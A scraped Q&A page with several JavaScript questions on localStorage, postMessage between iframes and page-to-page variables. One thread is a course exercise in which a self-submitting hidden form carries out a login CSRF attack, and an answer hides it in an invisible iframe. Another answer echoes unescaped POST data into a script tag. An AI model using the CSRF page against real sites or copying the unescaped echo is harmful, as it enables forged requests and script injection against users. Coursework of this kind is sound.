login screen page getter and setter - javascript

Can anyone help me? Basically I need a page that asks for a user's name on the first page of my website. This will then allow you to the home page. How can I use the person's name on the home page at the minute the home page is being over write with just a white page with what ever the person inputs on the screen before?
Login page code
<link href="CSS.css" rel="stylesheet" type="text/css" />
<div id="image">
<img src="../images/logo.jpg"/>
</div>
<div id="login">
<script type="text/javascript">
// Called on form's `onsubmit`
function tosubmit() {
// Getting the value of your text input
var mytext = document.getElementById("mytext").value;
// Storing the value above into localStorage
localStorage.setItem("mytext", mytext);
return true;
}
</script>
</head>
<body>
<center>
<!-- INLCUDING `ONSUBMIT` EVENT + ACTION URL -->
<form name="myform" onsubmit="tosubmit();" action="index.html">
<input id="mytext" type="text" name="data">
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
the home page code
<script>
// Called on body's `onload` event
function init() {
// Retrieving the text input's value which was stored into localStorage
var mytext = localStorage.getItem("mytext");
// Writing the value in the document
document.write(" "+mytext);
}
</script>
<body onload="init();">
</body>

The page is being overwritten by document.write. You shouldn't use it,
see the warning in the spec:
Warning! This method has very idiosyncratic behavior. In some cases,
this method can affect the state of the HTML parser while the parser
is running, resulting in a DOM that does not correspond to the source
of the document (e.g. if the string written is the string
"<plaintext>" or "<!--"). In other cases, the call can clear the
current page first, as if document.open() had been called. In yet more
cases, the method is simply ignored, or throws an exception. To make
matters worse, the exact behavior of this method can in some cases be
dependent on network latency, which can lead to failures that are very
hard to debug. For all these reasons, use of this method is strongly
discouraged.
Your case is this one:
In other cases, the call can clear the current page first, as if document.open() had been called.
To avoid that, you can use DOM methods:
document.body.appendChild(document.createTextNode(mytext));

Related

Open Google page in Javascript

I have the following code to open a google page and type "Hello" in the textbox.
The code opens the page but the textbox is empty.
Does anyone have an idea please ?
Thanks.
<html>
<head>
<script type="text/javascript">
function getValue()
{
var myWindow = window.open("http://www.google.com","_self")
myWindow.title = "Test"
var TextBox = myWindow.document.getElementsByName("lst-ib");
TextBox[0].value="Hello"
}
</script>
</head>
<body>
<form>
<input name="to" type="hidden" value="hoolah" />
<input type="button" onclick="getValue()" value="Get Value!" />
<form/>
</body>
</html>
You cannot:
Access the DOM of a page on a different origin
Access the DOM of a page from JavaScript that was running in the same window before you loaded the new page
What you want is impossible.
(If it was possible, it would be a security problem as your JavaScript would have access to personal data belonging to your visitors and stored on other websites.)
If I understand the question - you want to be able to pass a value to a Google search from your page. Rather than accessing the DOM of an external page - you are just trying to enter a value into the search term box on the google page.
All you have to do is append a query string to the Google url (such as "http://www.google.com?query=searchTerm" and it will pass the value to the search box on the google page.
I have slightly modified your code to show this - not how i would normally do it but I wanted to keep your code in place as much as possible so you can see whats going on.
I added a search term input and the onclick event opens the window and submits the query to Google. It could have been done as a form submit as well. Note that I put the JS at the bottom of the page - increases speed of page rendering - not important for this, but good practise movingforward. I also declared the variables together instead of using 2 'var's as well.
your code (slightly modified).
<html>
<head>
</head>
<body>
<form>
<input id="searchTerm" type="text" value="" placeholder="Search term"/>
<button type="button" onclick="getValue()">Search</button>
</form>
<script>
function getValue()
{
var term,myWindow;
term=document.getElementById('searchTerm').value;
myWindow = window.open("http://www.google.com?query="+term,"_self")
}
</script>
</body>
</html>

submitting a form through javascript without redirecting

I'm practicing a CSRF attack for my course and I have to attack a dummy website by creating a "fake" page. I have the following code
csrf.html
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<script>
document.csrf_form.submit();
</script>
</body>
The code above works perfectly, except that every time I open csrf.html it will also open up the course_website page. I just want it to remain on csrf.html and not redirect/ open up a new tab.
After looking through SO (I don't know much js..), I tried
<script>
document.csrf_form.submit(function(){
return false;
});
</script>
and adding a onsubmit = return false; to the form itself, but neither works.
What is the best thing to do here?
PS: not sure if this changes anything, but I used action as oppose to target in my form because one works and the other does not. Anything that I have to watch out for?
but I used action as oppose to target in my form because one works and the other does not
target and action do completely different things.
action specifies the URL to send the request to.
target specifies the frame to open the response to that request in
If you don't want to leave the current page, then you need to specify the target as a frame or new window. Omitting it was cause the new page to load in the current window and replace the document containing the form.
If it also possible to (kinda) submit forms without leaving the page by cancelling the form submission and then simulating it with JavaScript (generally via the XMLHttpRequest object) instead. A CSRF attack is going to be cross-origin though, so that approach will likely fail due to the Same Origin Policy).
E.g. of the above answer in your code
<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
<form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST">
<input type='hidden' name='username' value='attacker_id'>
<input type='hidden' name='password' value='attacker_pw'>
</form>
<iframe name='hiddenFrame' style='display:none'></iframe>
<script>
document.csrf_form.submit();
</script>
</body>

Set value of input field inside an external iframe

I know this have been asked so many times but everyone ask it to suite his own need so couldn't find answer that help me
I have two sites and have access to both and can add whatever I need inside both sites
my first site
http://www.mysite1.com
on this site
I have text field with specific value
I have an iFrame whose content are sourced from my other website.
<input type='text' name='test1' value='5'>
<iframe name='myframe' src='http://www.mysite2.com/index.php'></iframe>
on this page
http://www.mysite2.com/index.php
I have input text field
What I am trying to achieve is :
getting the specific value from my first site to the input field in my second site
Since that manipulating frames that have a different origin will cause a Cross-Origin error to occur, you'll have to use the window.postMessage() method to send a message to the child <iframe> and, inside it, listen to window.onmessage and handle the message.
Here is an example, supposing you have got a DOM structure like this:
Site #1 (www.mysite1.com):
<body>
<iframe id="site2-frame" src="http://www.mysite2.com/index.php"></iframe>
</body>
Site #2 (www.mysite2.com) in the iframe:
<body>
<input id="input-field" />
</body>
Then in your site #1 you'll have to send a message to the frame, like this:
var frame = document.getElementById('site2-frame');
frame.contentWindow.postMessage('Something something something', '*');
And in your site #2, the one inside the frame, you'll listen to the message and set the data:
var input = document.getElementById('input-field');
window.addEventListener('message', function(e) {
// Check the origin, accept messages only if they are from YOUR site!
if (/^http\:\/\/www\.mysite1\.com/.test(e.origin)) {
input.value = e.data;
// This will be 'Something something something'
}
});
JCOC611 is right. In modern web development Window.postMessage is the way to go. Selecting elements within the iframe and changing their value will very like cause cross-origin security errors – for good reasons.
Here is an example, how you could realize exchanging a value across site/iframe using the postMessage event pattern:
<script>
window.onload = function(){
// Define the target
var win = document.getElementById('iframe').contentWindow;
// Define the event trigger
document.getElementById('form').onsubmit = function(e){
// Define source value or message
win.postMessage(document.getElementById('source').value);
e.preventDefault();
};
};
</script>
<form id='form'>
<input id="source" type='text' value='5'>
<input type='submit'/>
</form>
<iframe name='myframe' src='http://www.mysite2.com/index.php'>
<!-- This is what happens inside the iframe -->
<form id='form'>
<input id='target' type='text' value=''>
</form>
<script>
// Wait for the message
document.addEventListener('message', function(e){
// When you receive the message, add it to the target
document.getElementById('target').textContent = e.data;
}, false);
</script>
</iframe>
You can always send vars using iframe url query string name value pairs, and then on page load populate the variables or input fields as you desire.

function variable not passing to global variable

Good day all, I've two pages of php file and an external javascript file. I want to pass a selected radio button's value to a jquery global variable so that I can view the div element which has the same id as selected radio button's value. Whenever I click PLAY! button I don't see my div element on the next page. Here are my codes:
player-choose.php script:
<head>
<script src="js/jquery-1.9.1.min.js"></script>
<script src="js/mycustom.js"></script>
</head>
<body>
<div id="player-list">
<input type="radio" name="player" value="fighter" id="fighter-radio"><label for="fighter-radio"><img src="images/heroes/fighter-01.png" width="74" height="70"></label>
<input type="radio" name="player" value="pakhi" id="pakhi-radio"><label for="pakhi-radio"><img src="images/heroes/pakhi.png" width="95" height="70"></label>
</div>
<button id="play">PLAY!</button>
</body>
mycustom.js script:
var playerID;
function start(){
spawnhero();
}
$(function(){
$("#play").click(function(){
window.location.href = 'index.php';
playerID = $('input[name=player]:checked').val();
});
})
function spawnhero () {
$("#content").append($("<div>").attr('id', playerID));
}
index.php script:
<head>
<script src="js/jquery-1.9.1.min.js"></script>
<script src="js/mycustom.js"></script>
</head>
<body onload="start()">
<div id="content">
<div id="galaxy"></div>
</div>
</body>
It's a very simple thing but I don't know why it's not working. Am I doing something wrong here? Please if anyone finds a solution enlighten me. Tnx!
If you're moving to a new page (window.location = ...), you'll need some slightly more complicated way of transferring information between those pages - for the most part, HTTP/HTML is "stateless", with the exception of technologies like cookies. JavaScript variables get wiped out entirely - it's actually re-parsing the entire JQuery library on each new page (not to say that's something to avoid)
For a video game, as long as player information doesn't include server components (I could be wrong) my recommendation would be saving player information in sessionStorage.
https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage
However, if this is a server-based game in which your choice of player matters beyond the local computer, you'd likely want to send the player ID to the server, either by structuring the page request differently:
window.location.href = 'index.php?playerId=' + playerId;
Or by POSTing the data as a form; most easily accomplished by structuring your submit button as an <input type="submit">, and wrapping all your <input> elements in a <form method="POST"> object.
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form
From there, your server software could write the second page's response out differently based on the given information - you can even customize what JavaScript is written inside of a <script> tag using PHP directives.
var playerId = "<?php print($_POST['playerId']); ?>";
Hopefully that helps get you started.
global variables are not persistent across pages. Once you load your index.php , it will have the new global scope(window variable).
I suggest passing a parameter.
$("#play").click(function(){
playerID = $('input[name=player]:checked').val();
window.location.href = 'index.php?id=' + playerID;
});
afterward, inside your index.php script , read the parameter and assign accordingly.
Alternative solution is you could you use JavaScript or jQuery cookie or localstorage. You can get/set values across page loads/redirects but these are not passed to server.
jQuery Cookie
var playerID = $('input[name=player]:checked').val();
$.cookie("playerId", playerID);
LocalStorage
var playerID = $('input[name=player]:checked').val();
localStorage.setItem("playerId", playerID);

Javascript global variable does not persist when navigate to another page (which also uses same js file) [duplicate]

This question already has answers here:
Persist variables between page loads
(4 answers)
Closed 7 years ago.
I have shared js code like this in angus.js
var g_colour;
function getcolour() {
return g_colour;
}
function setcolour(colour) {
g_colour = colour;
}
Which is accessed by html pages 1 and 2 like this:
1.html:
<html>
<head>
<title>Global javascript example</title>
</head>
<body>
Page2
<script src="angus.js"></script>
<form name="frm">
<input type="button" value="Setblue" onclick="setcolour('blue');" />
<input type="button" value="Setyellow" onclick="setcolour('yellow');" />
<input type="button" value="getcolour" onclick="alert(getcolour());" />
</form>
</body>
</html>
2.html:
<html>
<head>
<title>Global javascript example page 2</title>
</head>
<body>
Page1
<script src="angus.js"></script>
<form name="frm">
<input type="button" value="Setblue" onclick="setcolour('blue');" />
<input type="button" value="Setyellow" onclick="setcolour('yellow');" />
<input type="button" value="getcolour" onclick="alert(getcolour());" />
</form>
</body>
</html>
If I set a colour in one page and navigate to page 2, and THEN access the colour, it returns undefined. ie I it seems that a new instance of g_colour is created on loading a new html page.
I want to be able to access a sort of top-level variable which I can set in page 1 and access in page 2. How can I do that in Javascript?
JS variables never have been persistent, but there are two ways around this:
Cookies
Storage
Cookies are supported in all but the most ancient browsers, but they can be very unwieldly and difficult to use. On top of that, your browser sends cookies to the server with every pageload, so if it's only used by JavaScript then it's very inefficient.
Instead, you should probably look at the Storage option.
Saving an item is as simple as localStorage.itemname = value; Reading is as easy as localStorage.itemname, and deleting is as literal as delete localStorage.itemname
These values are saved across pageloads, but not sent to the server.
Use localStorage:
localStorage.setItem('name', 'value');
var something = localStorage.getItem('name');
setItem on your first page, then getItem on your second.
The localStorage persists across pageloads, as opposed to "normal" JavaScript variables.
"Normal" variables are initialized as soon as the JS file is loaded (And runs), but are destroyed when the file unloads, so when the user leaves a page.
You could also use Cookies, but they're a bit of a pain to work with in JS, since they're stored in a string like:
'name=value; name1=value1; name2=value2';
Each page request will request the script and execute its copy of it, even if the request stops at the client because of the cache, the current page still executes it from scratch. They are working with the same code, yes, but different instances (i.e. you have two copies of that variable in two different contexts).
The problem is that your page 1 is loading the JavaScript file and your page 2 is loading it again therefore whatever you have set in a variable on that JS file will be lost when page 2 is loaded since page 2 will initialize again the JS file. If you want you can use cookie to store the value or if it simple to you combine page 1 and page 2 but put them in a different div and show/hide the div according to your logic.

Categories